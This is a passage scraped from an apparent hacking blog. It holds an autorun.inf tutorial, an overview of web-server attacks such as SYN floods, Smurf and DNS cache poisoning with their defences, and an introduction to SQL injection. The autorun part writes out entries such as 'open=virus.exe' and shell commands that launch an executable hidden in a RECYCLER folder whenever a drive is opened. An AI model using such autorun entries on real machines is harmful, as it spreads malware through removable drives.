border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">shell\Explore\command=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">shell\Autoplay\Command=RECYCLER\QqFvXcB.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="color: #e06666; font-size: medium;"><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Introduction to Autorun.inf File:</b></span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Auto
 run is file that triggers other programs,documents ,other files to be 
opened when the cd or pen drives are inserted.  Simpy triggers.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">When
 cd or pen drives are inserted, windows will search for the autorun.inf 
file and follow the instructions of autorun.inf file(instructions have 
written inside the autorun.inf file).</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="color: #e06666; font-size: medium;"><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">How to create Autorun file?</b></span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Open notepad</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">type this command:</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">[Autorun]</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">save the file as "autorun.inf" (select all files, not text )</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Complete Syntax and instructions inside the Autorun file:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Basic syntax must be inside  the autorun.inf file is :</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">[Autorun]</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">This will be used to identify the the file as autorun.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">OPEN=</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">This will specify which application should be opened when the cd or pen drive is opened</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Example:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">open=virus.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">This will launch the virus.exe file when cd or pen drive is opened.  The file should be in root directory.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">if the file is in any other sub directories ,then we have to specify it.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">Open=RECYCLER\Virus.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Explore=</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Nothing big difference. if you right click and select explore option in cd or pen drive.  This command will be run.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">AutoPlay=</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Same as the above , but it will launch the the program when auto played.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">SHELL\VERB =</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">The
 SHELL\VERB command adds a custom command to the drive's shortcut menu. 
This custom command can for example be used to launch an application on 
the CD/DVD.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Example:</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">  </span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">  shell\Open\Command=RECYCLER\QqFvXcB.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">    shell\Open\Default=1</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">    shell\Explore\command=RECYCLER\QqFvXcB.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">    shell\Autoplay\Command=RECYCLER\QqFvXcB.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Use
 a series of shell commands to specify one or more entries in the pop-up
 menu that appears when the user right-clicks on the CD icon. (The shell
 entries supplement the open command.)</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Icon=</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Change the icon of your pen drive or cd.  you can use .ico,.bmp images(also .exe,.dll)</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Example:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">icon=hackingtalent.ico</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Label=</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Specifies a text label to displayed for this CD in Explorer</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Note that using the LABEL option can lead to problems displaying the selected ICON under Windows XP.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Example:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">Label=Ethical hacking</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="color: #e06666; font-size: medium;"><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Why Antivirus Block Autorun.inf file?</b></span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">From
 above ,you come to know that autorun.inf file is not virus.  But why 
antivirus blocks it?  Because as i told autorun file call or launch any 
application or exe files.  It will lead to virus attack.  If the 
autorun.inf is blocked,then there is no way to launch the virus code.</span></span><br />
<div style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">
<i style="border: 0px; margin: 0px; padding: 0px;"><b style="border: 0px; margin: 0px; padding: 0px;"><span style="font-family: Courier New, Courier, monospace;">Autorun is not virus but it can call virus files.</span></b></i></div>
</div>
</div>

Autorun.inf attak!! ? read this and know what happen to inf file

Autorun.inf virus attack! Is autorun.inf virus? This is the instructions that saved in the infected(call virus programs) autorun.inf ...

Types of Attacks on Web Servers

Admin Jixxi 0 EXPLANATION, Types of Attacks on Web Servers, Website Hacking Tools Collection

<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 class="post-title entry-title" itemprop="name">
Types of Attacks on Web Servers
</h3>
<div class="post-header">

</div>
<span style="font-family: "Times New Roman","serif"; font-size: 12pt;">Some of the more popular attack methods are described below. <br />
<br />
<span style="font-weight: bold;">FTP Bounce Attack</span> <br />
<br />
FTP (File Transfer Protocol) is used to transfer documents and data  
anonymously from local machine to the server and vice versa. All  
administrators of FTP servers should understand how this attack works.  
The FTP bounce attack is used to slip past application-based firewalls. <br />
<br />
In a bounce attack, the hacker uploads a file to the FTP server and  
then requests this file be sent to an internal server. The file can  
contain malicious software or a simple script that occupies the internal
  server and uses up all the memory and CPU resources. <br />
<br />
To avoid these attacks, the FTP daemon on the Web servers should be  
updated regularly. The site FTP should me monitored regularly to check  
whether any unknown file is transferred to the Web server. Firewalls  
also help by filtering content and commands. Some firewalls block  
certain file extensions, a technique that can help block the upload of  
malicious software. <br />
<br />
<span style="font-weight: bold;">Port Scanning Attack</span> <br />
<br />
A port scan is when someone is using software tosystematically scan  the
 entry points on other person’s machine. There arelegitimate uses for  
this software in managing a network. <br />
<br />
Mosthackers enter another’s computer to leave unidentifiable  harassing 
messages,capture passwords or change the set-up configuration.  The 
defense for this isthrough, consistent network monitoring. There  are 
free tools that monitor forport scans and related activity. <br />
<br />
<span style="font-weight: bold;">Ping Flooding Attack</span> <br />
<br />
Pinging involves one computer sending a signal to anothercomputer  
expecting a response back. Responsible use of pinging  
providesinformation on the availability of a particular service. Ping  
Flooding is theextreme of sending thousands or millions of pings per  
second. Ping Flooding cancripple a system or even shut down an entire  
site. <br />
<br />
APing Flooding Attack floods the victim’s network or machine with IP  
Pingpackets. At least 18 operating systems are vulnerable to this  
attack, but themajority can be patched. There are also numerous routers 
 and printers that arevulnerable. Patches cannot currently be applied  
throughout a global networkeasily. <br />
<br />
<span style="font-weight: bold;">Smurf Attack</span> <br />
<br />
A Smurf Attack is modification of the "ping attack"and instead of  
sending pings directly to the attacked system, they are sent to  
abroadcast address with the victim’s return address. A range of IP  
addressesfrom the intermediate system will send pings to the victim,  
bombarding thevictim machine or system with hundreds or thousands of  
pings. <br />
<br />
One solution is to prevent the Web server from being usedas a  
broadcast. Routers must be configured to deny IP-Directed broadcasts  
fromother networks into the network. Another helpful measure is to  
configure therouter to block IP spoofing from the network to be saved.  
Routers configured assuch will block any packets that donor originate in
  the Network.To be effective this must be done to all routers on the  
network. <br />
<br />
<span style="font-weight: bold;">SYN Flooding Attack</span> <br />
<br />
This attack exploits vulnerability in the TCP/IPcommunications  
protocol. This attack keeps the victim machine responding back toa  
non-existent system. The victim is sent packets and asked to response to
  asystem or machine with an incorrect IP address. As it responds, it is
  floodedwith the requests. The requests wait for a response until the  
packets begin totime out and are dropped. During the waiting period, the
  victim system isconsumed by the request and cannot respond to  
legitimate requests. <br />
<br />
When a normal TCP connection starts, a destination hostreceives a  SYN 
(synchronize/start) packet from a source host and sends back aSYN  ACK 
(synchronize acknowledge) response. The destination host must the  
hearan acknowledgement, or ACK packet, of the SYN ACK before the  
connection isestablished. This is referred as the "TCP three-way  
handshake”. <br />
<br />
Decreasingthe time-out waiting period for the three way handshake  can 
help to reduce therisk of SYN flooding attacks, as will increasing  the 
size of the connectionqueue (the SYN ACK queue). Applying service  packs
 to upgrade older operatingsystems is also a good countermeasure.  More 
recent operating systems areresistant to these attacks. <br />
<br />
<span style="font-weight: bold;">IPFragmentation/Overlapping Fragment Attack</span> <br />
<br />
To facilitate IP transmission over comparatively congestednetworks.  IP 
packets can be reduced in size or broken into smaller packets.  Bymaking
 the packets very small, routers and intrusion detection systems  
cannotidentify the packets contents and will let them pass through  
without anyexamination. When a packet is reassembled at the other end,  
it overflows thebuffer. The machine will hang, reboot or may exhibit no 
 effect at all. <br />
<br />
Inan Overlapping Fragment Attack, the reassembled packet starts in  the 
middle ofanother packet. As the operating system receives these  invalid
 packets, itallocates memory to hold them. This eventually uses  all the
 memory resources andcauses the machine to reboot or hang. <br />
<br />
<span style="font-weight: bold;">IPSequence Prediction Attack</span> <br />
<br />
Usingthe SYN Flood method, a hacker can establish connection with a  
victim machineand obtain the IP packet sequence number in an IP Sequence
  Prediction Attack.With this number, the hacker can control the victim 
 machine and fool it intobelieving it’s communicating with another  
network machines. The victim machinewill provide requested services.  
Most operating systems now randomize theirsequence numbers to reduce the
  possibility of prediction. <br />
<br />
<span style="font-weight: bold;">DNSCache Poisoning</span> <br />
<br />
DNS provides distributed host information used for mappingdomain  names 
and IP addresses. To improve productivity, the DNS server  cachesthe 
most recent data for quick retrieval. This cache can be  attacked and 
theinformation spoofed to redirect a network connection or  block access
 to the Web sites),a devious tactic called DNS cache  poisoning. <br />
<br />
The best defense against problems such as DNS cachepoisoning is to  run 
the latest version of the DNS software for the operatingsystem in  use. 
New versions track pending and serialize them to help  preventspoofing. <br />
<br />
<span style="font-weight: bold;">SNMP Attack</span> <br />
<br />
Most network devices support SNMP because it is active bydefault. An  
SNMP Attack can result in the network being mapped, and traffic canbe  
monitored and redirected. <br />
<br />
The best defense against this attack is upgrading toSNMP3, which  
encrypts passwords and messages. SinceSNMP resides on almost all network
  devices, routers, hubs, switches, Servers andprinters, the task of  
upgrading is huge. Some vendors now offer an SNMP Managementtool that  
includes upgrade distribution for global networks. <br />
<br />
<span style="font-weight: bold;">UDP Flood Attack</span> <br />
<br />
AUDP Flood Attacks links two unsuspecting systems. By Spoofing, the  UDP
 floodhooks up one system’s UDP service (which for testing purposes  
generates aseries of characters for each packet it receives) with  
another system’s UDPecho service (which echoes any character it receives
  in an attempt to testnetwork programs). As a result a non-stop flood 
of  useless data passes betweentwo systems. <br />
<br />
<span style="font-weight: bold;">Send Mail Attack</span> <br />
<br />
In this attack, hundreds of thousands ofmessages are sent in a short  
period of time; a normal load might only be 100 or1000 messages per  
hour. Attacks against Send Mail might not make the front page,but  
downtime on major websites will. <br />
<br />
For companies whose reputation dependson the reliability and  accuracy 
of their Web-Based transactions, a DoS attackcan be a major  
embarrassment and a serious threat to business. <br />
<br />
<span style="font-weight: bold;">Conclusion</span> <br />
<br />
Frequent denial-of-service attacks and achange in strategy by  
"Black-Hat Hackers" are prompting enterprises todemand technology that  
proactively blocks malicious traffic. <br />
<br />
Tools and services that reflectapproaches to combat such DoS attacks  
have been introduced with time. These arenormally upgrades to what was  
produced before. No solution is ever said to be anultimate solution to  
defend DoS attacks. Despite the new technology coming everyday, the  
attacks are likely to continue.  </span></div>

Types of Attacks on Web Servers

Types of Attacks on Web Servers Some of the more popular attack methods are described below. FTP Bounce Attack FTP (File Transfer...

What is Database?What is SQL injection?

Admin Jixxi 0 EXPLANATION

<div dir="ltr" style="text-align: left;" trbidi="on">
In this i'll give you intro to the SQL Injections. Next post will give you detailed information about the SQL injections.<br />
<br />
<b>What is the Database?</b><br />
  Datbase is an application that stores a collection of Data.Database 
offers various APIs for creating, accessing and managing the data it 
holds. And database(DB) servers can be integrated with our web 
development so that we can pick up the things we want from the database 
without much difficulties.<br />
<a href="http://www.blogger.com/blogger.g?blogID=7300937913117639331" name="more"></a><br />
<br />
Database is a place that stores username,passwords and more details.  
Database should be secured.  But providing high level security is not 
possible for all sites(much costlier or poor programming ). So Database 
of many websites is insecure or vulnerable(easily hackable).<br />
<br />
<i>Some List of Database are:</i><br />
<br />
<ul>
<li>DB servers,</li>
<li> MySQL(Open source), </li>
<li>MSSQL, </li>
<li>MS-ACCESS, </li>
<li>Oracle, </li>
<li>Postgre SQL(open source), </li>
<li>SQLite,</li>
</ul>
<b> What is SQL injection?</b><br />
      SQL injection is Common and famous method of hacking  at present 
.  Using this method an unauthorized person can access the database of 
the website.  Attacker can get all details from the Database.<br />
<br />
<b>What an attacker can do?</b><br />
<ul class="ticlist">
<li>ByPassing Logins</li>
<li>Accessing secret data</li>
<li>Modifying contents of website</li>
<li>Shutting down the My SQL server</li>
</ul>
</div>

What is Database?What is SQL injection?

In this i'll give you intro to the SQL Injections. Next post will give you detailed information about the SQL injections. What is the...